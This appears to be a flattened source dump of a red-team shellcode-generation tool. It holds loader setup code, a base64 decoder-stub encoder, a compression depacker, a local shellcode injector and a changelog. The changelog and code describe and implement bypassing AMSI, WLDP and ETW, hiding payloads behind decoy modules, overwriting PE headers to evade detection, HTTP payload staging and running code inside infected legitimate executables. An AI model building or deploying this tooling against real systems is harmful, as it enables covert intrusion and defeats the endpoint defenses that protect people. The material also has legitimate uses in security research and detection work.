(DonutDelete_t)GetProcAddress(m, "DonutDelete"); 28 | _DonutError = (DonutError_t) GetProcAddress(m, "DonutError"); 29 | 30 | if(_DonutCreate == NULL || _DonutDelete == NULL || _DonutError == NULL) { 31 | printf(" [ Unable to resolve Donut API.\n"); 32 | return 0; 33 | } 34 | } else { 35 | printf(" [ Unable to load donut.dll.\n"); 36 | return 0; 37 | } 38 | #else 39 | void *m = dlopen("donut.so", RTLD_LAZY); 40 | if(m != NULL) { 41 | _DonutCreate = (DonutCreate_t)dlsym(m, "DonutCreate"); 42 | _DonutDelete = (DonutDelete_t)dlsym(m, "DonutDelete"); 43 | _DonutError = (DonutError_t) dlsym(m, "DonutError"); 44 | 45 | if(_DonutCreate == NULL || _DonutDelete == NULL || _DonutError == NULL) { 46 | printf(" [ Unable to resolve Donut API.\n"); 47 | return 0; 48 | } 49 | } else { 50 | printf(" [ Unable to load donut.so.\n"); 51 | return 0; 52 | } 53 | #endif 54 | 55 | memset(&c, 0, sizeof(c)); 56 | 57 | // copy input file 58 | lstrcpyn(c.input, argv[1], DONUT_MAX_NAME-1); 59 | 60 | // default settings 61 | c.inst_type = DONUT_INSTANCE_EMBED; // file is embedded 62 | c.arch = DONUT_ARCH_X84; // dual-mode (x86+amd64) 63 | c.bypass = DONUT_BYPASS_CONTINUE; // continues loading even if disabling AMSI/WLDP/ETW fails 64 | c.headers = DONUT_HEADERS_OVERWRITE;// overwrite PE headers 65 | c.format = DONUT_FORMAT_BINARY; // default output format 66 | c.compress = DONUT_COMPRESS_NONE; // compression is disabled by default 67 | c.entropy = DONUT_ENTROPY_DEFAULT; // enable random names + symmetric encryption by default 68 | c.exit_opt = DONUT_OPT_EXIT_THREAD; // default behaviour is to exit the thread 69 | c.thread = 1; // run entrypoint as a thread 70 | c.unicode = 0; // command line will not be converted to unicode for unmanaged DLL function 71 | 72 | // generate the shellcode 73 | err = _DonutCreate(&c); 74 | if(err != DONUT_ERROR_SUCCESS) { 75 | printf(" [ Error : %s\n", _DonutError(err)); 76 | return 0; 77 | } 78 | 79 | printf(" [ loader saved to %s\n", c.output); 80 | 81 | _DonutDelete(&c); 82 | return 0; 83 | } 84 | -------------------------------------------------------------------------------- /loader/encode/encode.c: -------------------------------------------------------------------------------- 1 | 2 | 3 | // test unit for decode.asm 4 | // odzhan 5 | 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | #if defined(_WIN32) || defined(_WIN64) 15 | #define WINDOWS 16 | #include 17 | #include "mmap.h" 18 | #if defined(_MSC_VER) 19 | #pragma comment(lib, "advapi32.lib") 20 | #pragma comment(lib, "user32.lib") 21 | #pragma comment(lib, "crypt32.lib") 22 | #endif 23 | #else 24 | #define LINUX 25 | #include 26 | #include 27 | #include 28 | #endif 29 | 30 | #include "decode.h" 31 | 32 | uint32_t hash_string(const char *str) { 33 | char c; 34 | uint32_t h = 0; 35 | 36 | do { 37 | c = *str++; 38 | if(c == 0) break; 39 | h += (c | 0x20); 40 | h = (h << 32-8) | (h >> 8); 41 | } while(c != 0); 42 | 43 | return h; 44 | } 45 | 46 | void bin2hex(void *bin, int len) { 47 | int i; 48 | uint8_t *p=(uint8_t*)bin; 49 | 50 | for(i=0; i<8; i++) printf(" %02x", p[i]); 51 | } 52 | 53 | int main(int argc, char *argv[]) { 54 | struct stat fs; 55 | int in; 56 | FILE *out; 57 | char *infile, *outfile; 58 | DWORD inlen, outlen; 59 | PVOID outbuf, inbuf; 60 | 61 | if(argc != 3) { 62 | printf("\nusage: encode \n"); 63 | return 0; 64 | } 65 | 66 | infile = argv[1]; 67 | outfile = argv[2]; 68 | 69 | if(stat(infile, &fs) != 0) { 70 | printf("unable to access %s\n", infile); 71 | return -1; 72 | } 73 | 74 | in = open(infile, O_RDONLY); 75 | if(in < 0) { 76 | printf("unable to open %s.\n", infile); 77 | return -1; 78 | } 79 | 80 | out = fopen(outfile, "wb"); 81 | if(out < 0) { 82 | printf("unable to open %s for writing.\n", outfile); 83 | close(in); 84 | return -1; 85 | } 86 | 87 | inlen = fs.st_size; 88 | inbuf = mmap(NULL, inlen, PROT_READ, MAP_PRIVATE, in, 0); 89 | 90 | if(inbuf != NULL) { 91 | outlen = 0; 92 | if(CryptBinaryToString(inbuf, inlen, 93 | CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, NULL, &outlen)) 94 | { 95 | outbuf = calloc(1, outlen + DECODE_SIZE + 8); 96 | if(outbuf != NULL) { 97 | if(CryptBinaryToString(inbuf, inlen, 98 | CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, outbuf, &outlen)) 99 | { 100 | fwrite(DECODE, 1, DECODE_SIZE, out); 101 | fwrite(outbuf, 1, outlen, out); 102 | } else { 103 | printf("CryptBinaryToString failed.\n"); 104 | } 105 | free(outbuf); 106 | } else { 107 | printf("unable to allocate memory.\n"); 108 | } 109 | } else { 110 | printf("unable to obtain length\n"); 111 | } 112 | munmap(inbuf, inlen); 113 | } else { 114 | printf("unable to map\n"); 115 | } 116 | fclose(out); 117 | close(in); 118 | return 0; 119 | } 120 | -------------------------------------------------------------------------------- /ModuleMonitor/app.manifest: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 52 | 59 | 60 | 61 | 75 | 76 | 77 | -------------------------------------------------------------------------------- /loader/test/debug.h: -------------------------------------------------------------------------------- 1 | 2 | #ifndef DEBUG_H 3 | #define DEBUG_H 4 | 5 | #include 6 | #include 7 | #include 8 | 9 | #pragma comment(lib, "dbgeng.lib") 10 | 11 | class EventCallbacks : public DebugBaseEventCallbacks { 12 | public: 13 | STDMETHOD_(ULONG, AddRef) (THIS ) { return 1;}; 14 | STDMETHOD_(ULONG, Release) (THIS ) { return 0;}; 15 | STDMETHOD(Breakpoint) (THIS_ IN PDEBUG_BREAKPOINT Bp ); 16 | STDMETHOD(ChangeDebuggeeState) (THIS_ IN ULONG Flags, IN ULONG64 Argument ); 17 | STDMETHOD(ChangeEngineState) (THIS_ IN ULONG Flags, IN ULONG64 Argument ); 18 | STDMETHOD(ChangeSymbolState) (THIS_ IN ULONG Flags, IN ULONG64 Argument ); 19 | STDMETHOD(CreateThread) (THIS_ IN ULONG64 Handle, IN ULONG64 DataOffset,IN ULONG64 StartOffset); 20 | STDMETHOD(Exception) (THIS_ IN PEXCEPTION_RECORD64 Exception, IN ULONG FirstChance ); 21 | STDMETHOD(ExitProcess) (THIS_ IN ULONG ExitCode ); 22 | STDMETHOD(ExitThread) (THIS_ IN ULONG ExitCode ); 23 | STDMETHOD(GetInterestMask) (THIS_ OUT PULONG Mask ); 24 | STDMETHOD(SessionStatus) (THIS_ IN ULONG Status ); 25 | STDMETHOD(SystemError) (THIS_ IN ULONG Error, IN ULONG Level ); 26 | STDMETHOD(UnloadModule) (THIS_ IN PCSTR ImageBaseName, IN ULONG64 BaseOffset ); 27 | STDMETHOD(LoadModule) (THIS_ IN ULONG64 ImageFileHandle, IN ULONG64 BaseOffset, IN ULONG ModuleSize, IN PCSTR ModuleName,IN PCSTR ImageName, IN ULONG CheckSum, IN ULONG TimeDateStamp ); 28 | STDMETHOD(CreateProcess) ( THIS_ IN ULONG64 ImageFileHandle, IN ULONG64 Handle, IN ULONG64 BaseOffset, IN ULONG ModuleSize, IN PCSTR ModuleName, IN PCSTR ImageName, IN ULONG CheckSum, IN ULONG TimeDateStamp, IN ULONG64 InitialThreadHandle, IN ULONG64 ThreadDataOffset, IN ULONG64 StartOffset ); 29 | 30 | IDebugClient* Client; 31 | IDebugControl* Control; 32 | }; 33 | 34 | class StdioOutputCallbacks : public IDebugOutputCallbacks { 35 | public: 36 | STDMETHOD(QueryInterface)(THIS_ IN REFIID InterfaceId, OUT PVOID* Interface); 37 | STDMETHOD_(ULONG, AddRef)(THIS){ return 1; }; 38 | STDMETHOD_(ULONG, Release)(THIS){ return 0; }; 39 | STDMETHOD(Output)(THIS_ IN ULONG Mask, IN PCSTR Text) { fputs(Text, stdout); return S_OK; }; 40 | }; 41 | 42 | class StdioInputCallbacks : public IDebugInputCallbacks { 43 | public: 44 | STDMETHOD(QueryInterface)(THIS_ IN REFIID InterfaceId, OUT PVOID* Interface); 45 | STDMETHOD_(ULONG, AddRef)(THIS){ return 1; }; 46 | STDMETHOD_(ULONG, Release)(THIS) { return 0; }; 47 | STDMETHOD(StartInput)(THIS_ IN ULONG BufferSize); 48 | STDMETHOD(EndInput)(THIS_ void) { return S_OK; }; 49 | 50 | IDebugControl* Control; 51 | }; 52 | 53 | class Debug { 54 | public: 55 | Debug(); 56 | Debug(PSTR CommandLine, ULONG ProcessId); 57 | ~Debug(); 58 | BOOL Debug::Start(PSTR CommandLine, ULONG ProcessId); 59 | 60 | StdioOutputCallbacks OutputCb; 61 | StdioInputCallbacks InputCb; 62 | EventCallbacks EventCb; 63 | 64 | IDebugClient* Client; 65 | IDebugControl* Control; 66 | IDebugBreakpoint* Breakpoint; 67 | bool State; 68 | HRESULT Status; 69 | }; 70 | 71 | #endif -------------------------------------------------------------------------------- /loader/depack.c: -------------------------------------------------------------------------------- 1 | /* 2 | * aPLib compression library - the smaller the better :) 3 | * 4 | * C depacker 5 | * 6 | * Copyright (c) 1998-2014 Joergen Ibsen 7 | * All Rights Reserved 8 | * 9 | * http://www.ibsensoftware.com/ 10 | */ 11 | 12 | #include "depack.h" 13 | 14 | /* internal data structure */ 15 | struct APDSTATE { 16 | const unsigned char *source; 17 | unsigned char *destination; 18 | unsigned int tag; 19 | unsigned int bitcount; 20 | }; 21 | 22 | static unsigned int aP_getbit(struct APDSTATE *ud) 23 | { 24 | unsigned int bit; 25 | 26 | /* check if tag is empty */ 27 | if (!ud->bitcount--) { 28 | /* load next tag */ 29 | ud->tag = *ud->source++; 30 | ud->bitcount = 7; 31 | } 32 | 33 | /* shift bit out of tag */ 34 | bit = (ud->tag >> 7) & 0x01; 35 | ud->tag <<= 1; 36 | 37 | return bit; 38 | } 39 | 40 | static unsigned int aP_getgamma(struct APDSTATE *ud) 41 | { 42 | unsigned int result = 1; 43 | 44 | /* input gamma2-encoded bits */ 45 | do { 46 | result = (result << 1) + aP_getbit(ud); 47 | } while (aP_getbit(ud)); 48 | 49 | return result; 50 | } 51 | 52 | unsigned int aP_depack(const void *source, void *destination) 53 | { 54 | struct APDSTATE ud; 55 | unsigned int offs, len, R0, LWM; 56 | int done; 57 | int i; 58 | 59 | ud.source = (const unsigned char *) source; 60 | ud.destination = (unsigned char *) destination; 61 | ud.bitcount = 0; 62 | 63 | R0 = (unsigned int) -1; 64 | LWM = 0; 65 | done = 0; 66 | 67 | /* first byte verbatim */ 68 | *ud.destination++ = *ud.source++; 69 | 70 | /* main decompression loop */ 71 | while (!done) { 72 | if (aP_getbit(&ud)) { 73 | if (aP_getbit(&ud)) { 74 | if (aP_getbit(&ud)) { 75 | offs = 0; 76 | 77 | for (i = 4; i; i--) { 78 | offs = (offs << 1) + aP_getbit(&ud); 79 | } 80 | 81 | if (offs) { 82 | *ud.destination = *(ud.destination - offs); 83 | ud.destination++; 84 | } 85 | else { 86 | *ud.destination++ = 0x00; 87 | } 88 | 89 | LWM = 0; 90 | } 91 | else { 92 | offs = *ud.source++; 93 | 94 | len = 2 + (offs & 0x0001); 95 | 96 | offs >>= 1; 97 | 98 | if (offs) { 99 | for (; len; len--) { 100 | *ud.destination = *(ud.destination - offs); 101 | ud.destination++; 102 | } 103 | } 104 | else { 105 | done = 1; 106 | } 107 | 108 | R0 = offs; 109 | LWM = 1; 110 | } 111 | } 112 | else { 113 | offs = aP_getgamma(&ud); 114 | 115 | if ((LWM == 0) && (offs == 2)) { 116 | offs = R0; 117 | 118 | len = aP_getgamma(&ud); 119 | 120 | for (; len; len--) { 121 | *ud.destination = *(ud.destination - offs); 122 | ud.destination++; 123 | } 124 | } 125 | else { 126 | if (LWM == 0) { 127 | offs -= 3; 128 | } 129 | else { 130 | offs -= 2; 131 | } 132 | 133 | offs <<= 8; 134 | offs += *ud.source++; 135 | 136 | len = aP_getgamma(&ud); 137 | 138 | if (offs >= 32000) { 139 | len++; 140 | } 141 | if (offs >= 1280) { 142 | len++; 143 | } 144 | if (offs < 128) { 145 | len += 2; 146 | } 147 | 148 | for (; len; len--) { 149 | *ud.destination = *(ud.destination - offs); 150 | ud.destination++; 151 | } 152 | 153 | R0 = offs; 154 | } 155 | 156 | LWM = 1; 157 | } 158 | } 159 | else { 160 | *ud.destination++ = *ud.source++; 161 | LWM = 0; 162 | } 163 | } 164 | 165 | return (unsigned int) (ud.destination - (unsigned char *) destination); 166 | } 167 | -------------------------------------------------------------------------------- /CHANGELOG.md: -------------------------------------------------------------------------------- 1 | # Changelog 2 | All notable changes to this project will be documented in this file. 3 | 4 | ## [v1.0] 5 | 6 | ### Added 7 | 8 | * Added module overloading for native PE payloads. Hides them in MEM_IMAGE memory backed by a decoy file on disk 9 | * If donut is set to mutate native PE headers, then for module overloads it will overwrite the payload's PE headers with those of the decoy file to fool some detections of module overloading 10 | * Added an option to block indefinitely after running the payload 11 | * Added Dockerfile to create a docker image for generating donut shellcode 12 | * Added support for binaries without relocation information or with certain edge cases for relocation information 13 | * Added custom GetProcAddress and LoadLibrary replacement functions that will only call those Win32 API calls as fallbacks 14 | * Better documentation for debugging, designing with, and integrating Donut. 15 | * Added moduler bypass system for ETW 16 | * Added option for preserving or overwriting PE headers of native payloads 17 | * Added an inject_local.exe that runs shellcode in the current process for testing purposes 18 | * C# output generator 19 | * Python output generator 20 | * UUID string output generator 21 | 22 | ### Changed 23 | 24 | * The -y switch now uses the value provided as an offset from the base address of the process's executable module. So, for example, if you have injected donut into an infected, legitimate PE file, then once donut completes it will create a thread at the provided offset of that legitimate PE, allowing it to resume its legitimate execution and do what it was supposed to do in the first place. 25 | * Fixed some issues with the MingW makefile (#96) 26 | * Fixed and improved all makefiles 27 | * Fixed the Python module 28 | 29 | ## [v0.9.3] 30 | 31 | ### Added 32 | 33 | * The -e switch can be used to disable entropy and/or encryption. Options are: 1=none, 2=generate random names, 3=generate random names + use symmetric encryption. 34 | * The -z switch tells the builder to compress the input file. 1=none, 2=aPLib. On Windows, a further three algorithms are supported, which are 3=LZNT1, 4=Xpress and 5=Xpress Huffman. 35 | * The -f switch specifies the output format for loader. 1=binary, 2=base64, 3=c, 4=ruby, 5=python, 6=powershell, 7=c# and 8=hex. On Windows, Base64 strings are copied to the clipboard. 36 | * The -t switch tells the loader to run unmanaged entrypoint for EXE as a thread. This also attempts to intercept exit-related API in Import Address Table by replacing their pointers with the address of RtlExitUserThread. 37 | * The -n switch can be used to specify name of module for HTTP staging. If entropy is enabled, this is generated randomly. 38 | * The -s switch specifies the HTTP server to download module from. 39 | * The -y switch tells loader to create a new thread for the loader and continues executing at a specific address or Original Entry Point (OEP). The address should be provided as a string in hexadecimal format. 40 | * The -x switch can be used to specify how loader terminates. 1=exit thread, 2=exit process. 41 | * The -p switch is used to specify parameters to .NET method, DLL function or command line for an unmanaged EXE file. Wrap multiple parameters inside quotations. 42 | * The -w switch tells the loader to convert parameters to UNICODE before passing to unmanaged DLL function. 43 | * C# generator by n1xbyte: https://github.com/n1xbyte/donutCS 44 | * Go generator by awgh https://github.com/Binject/go-donut 45 | 46 | ### Changed 47 | 48 | * Command line is no longer parsed using semi-colon or comma as a token. The -p switch now accepts a string with all parameters enclosed in quotation marks. For .NET DLL/EXE, these are separated by the loader using CommandLineToArgvW. For unmanaged DLL, the string is passed to the DLL function without any modification. 49 | * The -u switch to specify URL for HTTP stager is replaced with -s switch to prepare for a DNS stager. 50 | * The -f switch to specify input file is now used to specify output format of loader. 51 | 52 | ### Removed 53 | 54 | * XSL files are no longer supported. 55 | * Code stub for calling DLL function with multiple arguments. 56 | -------------------------------------------------------------------------------- /loader/clib.c: -------------------------------------------------------------------------------- 1 | /** 2 | BSD 3-Clause License 3 | 4 | Copyright (c) 2019, TheWover, Odzhan. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | * Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | * Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | * Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | */ 31 | 32 | #include 33 | #include 34 | 35 | // functions to replace intrinsic C library functions 36 | 37 | // funnily enough, MSVC still tries to replace this 38 | // with memset hence the use of assembly.. 39 | void *Memset (void *ptr, int value, uint32_t num) { 40 | 41 | #ifdef _MSC_VER 42 | __stosb(ptr, value, num); 43 | #else 44 | unsigned char *p = (unsigned char*)ptr; 45 | 46 | while(num--) { 47 | *p = (unsigned char)value; 48 | p++; 49 | } 50 | #endif 51 | return ptr; 52 | } 53 | 54 | void *Memcpy (void *destination, const void *source, uint32_t num) { 55 | unsigned char *out = (unsigned char*)destination; 56 | unsigned char *in = (unsigned char*)source; 57 | 58 | while(num--) { 59 | *out = *in; 60 | out++; in++; 61 | } 62 | return destination; 63 | } 64 | 65 | int Memcmp(const void *ptr1, const void *ptr2, uint32_t num) { 66 | register const unsigned char *s1 = (const unsigned char*)ptr1; 67 | register const unsigned char *s2 = (const unsigned char*)ptr2; 68 | 69 | while (num-- > 0) { 70 | if (*s1++ != *s2++) 71 | return s1[-1] < s2[-1] ? -1 : 1; 72 | } 73 | return 0; 74 | } 75 | 76 | int compare(const char *s1, const char *s2) { 77 | while(*s1 && *s2) { 78 | if(*s1 != *s2) { 79 | return 0; 80 | } 81 | s1++; s2++; 82 | } 83 | return *s2 == 0; 84 | } 85 | 86 | const char* _strstr(const char *s1, const char *s2) { 87 | while (*s1) { 88 | if((*s1 == *s2) && compare(s1, s2)) return s1; 89 | s1++; 90 | } 91 | return NULL; 92 | } 93 | 94 | int _strcmp(const char *str1, const char *str2) { 95 | while (*str1 && *str2) { 96 | if(*str1 != *str2) break; 97 | str1++; str2++; 98 | } 99 | return (int)*str1 - (int)*str2; 100 | } 101 | 102 | /* Note by TheWover: 103 | A bug was introduced when merging the loader changes by S4ntiagoP that, 104 | while replacing strcmpcase with stricmp broke MSVC compilation. 105 | 106 | A suggestion was made by dismantl: https://github.com/S4ntiagoP/donut/pull/2/files 107 | 108 | This suggestion was integrated. Git did not allow merging their PR into the source repo. 109 | So I am crediting them via comment instead. 110 | 111 | */ 112 | 113 | int stricmp(const char *str1, const char *str2) { 114 | while (*str1 && *str2) { 115 | if ((*str1 | 0x20) != (*str2 | 0x20)) break; 116 | str1++; str2++; 117 | } 118 | return (int)*str1 - (int)*str2; 119 | } 120 | -------------------------------------------------------------------------------- /loader/inject_local.c: -------------------------------------------------------------------------------- 1 | /** 2 | BSD 3-Clause License 3 | 4 | Copyright (c) 2019, TheWover, Odzhan. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | * Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | * Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | * Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | */ 31 | 32 | #include 33 | #include 34 | #include 35 | 36 | // display error message for last error code 37 | VOID xstrerror (PCHAR fmt, ...){ 38 | PCHAR error=NULL; 39 | va_list arglist; 40 | CHAR buffer[1024]; 41 | DWORD dwError=GetLastError(); 42 | 43 | va_start(arglist, fmt); 44 | vsnprintf(buffer, ARRAYSIZE(buffer), fmt, arglist); 45 | va_end (arglist); 46 | 47 | if (FormatMessage ( 48 | FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM, 49 | NULL, dwError, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), 50 | (LPSTR)&error, 0, NULL)) 51 | { 52 | printf(" [ %s : %s\n", buffer, error); 53 | LocalFree (error); 54 | } else { 55 | printf(" [ %s error : %08lX\n", buffer, dwError); 56 | } 57 | } 58 | 59 | BOOL injectPIC(LPVOID code, DWORD codeLen) { 60 | LPVOID cs; 61 | DWORD t; 62 | 63 | // 1. allocate read-write (RW) memory for payload 64 | printf(" [ allocating memory for payload.\n"); 65 | cs=VirtualAlloc(NULL, codeLen, 66 | MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 67 | 68 | if (cs == NULL) { 69 | printf(" [ unable to allocate memory.\n"); 70 | return FALSE; 71 | } 72 | 73 | printf(" [ writing code to 0x%p.\n", cs); 74 | // 2. copy the payload to remote memory 75 | memcpy(cs, code, codeLen); 76 | //WriteProcessMemory(hp, cs, code, codeLen, &wr); 77 | VirtualProtect(cs, codeLen, PAGE_EXECUTE_READ, &t); 78 | 79 | printf(" [ press any key to continue.\n"); 80 | getchar(); 81 | 82 | // 3. execute payload in remote process 83 | printf(" [ jumping to shellcode.\n"); 84 | void (*function)(); 85 | function = (void (*)())cs; 86 | function(); // invoke the shellcode and block until complete 87 | 88 | printf(" [ shellcode completed execution.\n"); 89 | printf(" [ press any key to continue.\n"); 90 | getchar(); 91 | 92 | return TRUE; 93 | } 94 | 95 | DWORD getdata(PCHAR path, LPVOID *data){ 96 | HANDLE hf; 97 | DWORD len,rd=0; 98 | 99 | // 1. open the file 100 | hf=CreateFile(path, GENERIC_READ, 0, 0, 101 | OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 102 | 103 | if(hf!=INVALID_HANDLE_VALUE){ 104 | // get file size 105 | len=GetFileSize(hf, 0); 106 | // allocate memory 107 | *data=malloc(len + 16); 108 | // read file contents into memory 109 | ReadFile(hf, *data, len, &rd, 0); 110 | CloseHandle(hf); 111 | } 112 | return rd; 113 | } 114 | 115 | int main(int argc, char *argv[]){ 116 | LPVOID code; 117 | SIZE_T code_len; 118 | 119 | if (argc != 2){ 120 | printf("\n [ usage: inject \n"); 121 | return 0; 122 | } 123 | 124 | // pic 125 | code_len = getdata(argv[1], &code); 126 | if(code_len == 0) { 127 | printf(" [ unable to read payload.\n"); 128 | return 0; 129 | } 130 | injectPIC(code, code_len); 131 | free(code); 132 | return 0; 133 | } 134 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | 4 | # User-specific files 5 | *.suo 6 | *.user 7 | *.sln.docstates 8 | 9 | # Build results 10 | [Dd]ebug/ 11 | [Dd]ebugPublic/ 12 | [Rr]elease/ 13 | [Rr]eleases/ 14 | x64/ 15 | x86/ 16 | bld/ 17 | [Bb]in/ 18 | [Oo]bj/ 19 | build/ 20 | 21 | # Roslyn cache directories 22 | *.ide/ 23 | .vs/ 24 | 25 | # MSTest test Results 26 | [Tt]est[Rr]esult*/ 27 | [Bb]uild[Ll]og.* 28 | 29 | # NUnit 30 | *.VisualState.xml 31 | TestResult.xml 32 | nunit-*.xml 33 | 34 | # Build Results of an ATL Project 35 | [Dd]ebugPS/ 36 | [Rr]eleasePS/ 37 | dlldata.c 38 | 39 | *_i.c 40 | *_p.c 41 | *_i.h 42 | *.ilk 43 | *.meta 44 | *.obj 45 | *.pch 46 | *.pdb 47 | *.pgc 48 | *.pgd 49 | *.rsp 50 | *.sbr 51 | *.tlb 52 | *.tli 53 | *.tlh 54 | *.tmp 55 | *.tmp_proj 56 | *.log 57 | *.vspscc 58 | *.vssscc 59 | .builds 60 | *.pidb 61 | *.svclog 62 | *.scc 63 | 64 | # Chutzpah Test files 65 | _Chutzpah* 66 | 67 | # Visual C++ cache files 68 | ipch/ 69 | *.aps 70 | *.ncb 71 | *.opensdf 72 | *.sdf 73 | *.cachefile 74 | 75 | # Visual Studio profiler 76 | *.psess 77 | *.vsp 78 | *.vspx 79 | 80 | # TFS 2012 Local Workspace 81 | $tf/ 82 | 83 | # Guidance Automation Toolkit 84 | *.gpState 85 | 86 | # ReSharper is a .NET coding add-in 87 | _ReSharper*/ 88 | *.[Rr]e[Ss]harper 89 | *.DotSettings.user 90 | 91 | # JustCode is a .NET coding addin-in 92 | .JustCode 93 | 94 | # TeamCity is a build add-in 95 | _TeamCity* 96 | 97 | # DotCover is a Code Coverage Tool 98 | *.dotCover 99 | 100 | # NCrunch 101 | _NCrunch_* 102 | .*crunch*.local.xml 103 | 104 | # MightyMoose 105 | *.mm.* 106 | AutoTest.Net/ 107 | 108 | # Web workbench (sass) 109 | .sass-cache/ 110 | 111 | # Installshield output folder 112 | [Ee]xpress/ 113 | 114 | # DocProject is a documentation generator add-in 115 | DocProject/buildhelp/ 116 | DocProject/Help/*.HxT 117 | DocProject/Help/*.HxC 118 | DocProject/Help/*.hhc 119 | DocProject/Help/*.hhk 120 | DocProject/Help/*.hhp 121 | DocProject/Help/Html2 122 | DocProject/Help/html 123 | 124 | # Click-Once directory 125 | publish/ 126 | 127 | # Publish Web Output 128 | *.[Pp]ublish.xml 129 | *.azurePubxml 130 | # TODO: Comment the next line if you want to checkin your web deploy settings 131 | # but database connection strings (with potential passwords) will be unencrypted 132 | *.pubxml 133 | *.publishproj 134 | 135 | # NuGet Packages 136 | *.nupkg 137 | # The packages folder can be ignored because of Package Restore 138 | **/packages/* 139 | # except build/, which is used as an MSBuild target. 140 | !**/packages/build/ 141 | # If using the old MSBuild-Integrated Package Restore, uncomment this: 142 | #!**/packages/repositories.config 143 | Packages.dgml 144 | 145 | # Windows Azure Build Output 146 | csx/ 147 | *.build.csdef 148 | 149 | # Windows Store app package directory 150 | AppPackages/ 151 | 152 | # Others 153 | sql/ 154 | *.Cache 155 | ClientBin/ 156 | [Ss]tyle[Cc]op.* 157 | ~$* 158 | *~ 159 | *.dbmdl 160 | *.dbproj.schemaview 161 | *.pfx 162 | *.publishsettings 163 | node_modules/ 164 | 165 | # RIA/Silverlight projects 166 | Generated_Code/ 167 | 168 | # Backup & report files from converting an old project file 169 | # to a newer Visual Studio version. Backup files are not needed, 170 | # because we have git ;-) 171 | _UpgradeReport_Files/ 172 | Backup*/ 173 | UpgradeLog*.XML 174 | UpgradeLog*.htm 175 | 176 | # SQL Server files 177 | *.mdf 178 | *.ldf 179 | 180 | # Business Intelligence projects 181 | *.rdl.data 182 | *.bim.layout 183 | *.bim_*.settings 184 | 185 | # Microsoft Fakes 186 | FakesAssemblies/ 187 | 188 | # ========================= 189 | # Operating System Files 190 | # ========================= 191 | 192 | # OSX 193 | # ========================= 194 | 195 | .DS_Store 196 | .AppleDouble 197 | .LSOverride 198 | 199 | # Icon must end with two \r 200 | Icon 201 | 202 | 203 | # Thumbnails 204 | ._* 205 | 206 | # Files that might appear on external disk 207 | .Spotlight-V100 208 | .Trashes 209 | 210 | # Directories potentially created on remote AFP share 211 | .AppleDB 212 | .AppleDesktop 213 | Network Trash Folder 214 | Temporary Items 215 | .apdisk 216 | 217 | # Windows 218 | # ========================= 219 | 220 | # Windows image file caches 221 | Thumbs.db 222 | ehthumbs.db 223 | 224 | # Folder config file 225 | Desktop.ini 226 | 227 | # Recycle Bin used on file shares 228 | $RECYCLE.BIN/ 229 